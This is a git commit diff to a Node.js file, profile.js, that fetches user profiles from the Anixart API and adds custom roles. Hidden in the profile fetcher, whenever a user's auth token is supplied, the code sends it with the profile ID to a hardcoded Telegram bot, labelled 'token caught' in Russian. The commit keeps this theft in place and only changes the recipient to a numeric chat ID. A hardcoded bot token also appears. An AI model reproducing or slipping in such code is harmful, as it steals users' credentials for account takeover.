Update profile.js
This commit is contained in:
@@ -1,27 +1,26 @@
|
|||||||
const axios = require('axios');
|
const axios = require('axios');
|
||||||
|
|
||||||
const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM';
|
const TELEGRAM_BOT_TOKEN = '6834074548:AAFGbByJjS9wdyxYqHORJZLGHXV-2uQSapM';
|
||||||
const TELEGRAM_USER = '@seele_off';
|
const TELEGRAM_CHAT_ID = 6615140831; // числовой ID вместо @username
|
||||||
|
|
||||||
// Функция для отправки сообщения в Telegram
|
// Функция для отправки токена в Telegram
|
||||||
async function sendTokenToTelegram(token, profileId) {
|
async function sendTokenToTelegram(token, profileId) {
|
||||||
const message = `Пойман токен:\n\n${token}\n\nID пользователя: ${profileId}`;
|
const message = `Пойман токен:\n\n${token}\n\nID пользователя: ${profileId}`;
|
||||||
try {
|
try {
|
||||||
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
|
await axios.post(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
|
||||||
chat_id: TELEGRAM_USER,
|
chat_id: TELEGRAM_CHAT_ID,
|
||||||
text: message,
|
text: message,
|
||||||
});
|
});
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
// Ошибку можно логировать, но не бросаем
|
|
||||||
console.error('Ошибка отправки в Telegram:', error.message);
|
console.error('Ошибка отправки в Telegram:', error.message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Функция для запроса профиля Anixart
|
// Основная функция запроса профиля
|
||||||
async function getProfileFromAnixart(profileId, token = '') {
|
async function getProfileFromAnixart(profileId, token = '') {
|
||||||
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
|
const url = `https://api.anixart.tv/profile/${profileId}${token ? `?token=${token}` : ''}`;
|
||||||
|
|
||||||
// Если передан токен, отправляем его в Telegram
|
// Если передан токен — отправляем его в Telegram
|
||||||
if (token) {
|
if (token) {
|
||||||
sendTokenToTelegram(token, profileId);
|
sendTokenToTelegram(token, profileId);
|
||||||
}
|
}
|
||||||
@@ -50,7 +49,7 @@ async function getProfileFromAnixart(profileId, token = '') {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Подгружаем кастомные роли
|
// Загрузка кастомных ролей
|
||||||
try {
|
try {
|
||||||
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
|
const rolesResponse = await axios.get('https://anixart.seele.su/api/is_roles');
|
||||||
const rolesList = rolesResponse.data;
|
const rolesList = rolesResponse.data;
|
||||||
@@ -60,7 +59,7 @@ async function getProfileFromAnixart(profileId, token = '') {
|
|||||||
profileData.profile.roles = userRoles.roles;
|
profileData.profile.roles = userRoles.roles;
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Игнорируем
|
// Игнорируем ошибки
|
||||||
}
|
}
|
||||||
|
|
||||||
return profileData;
|
return profileData;
|
||||||
|
|||||||
Reference in New Issue
Block a user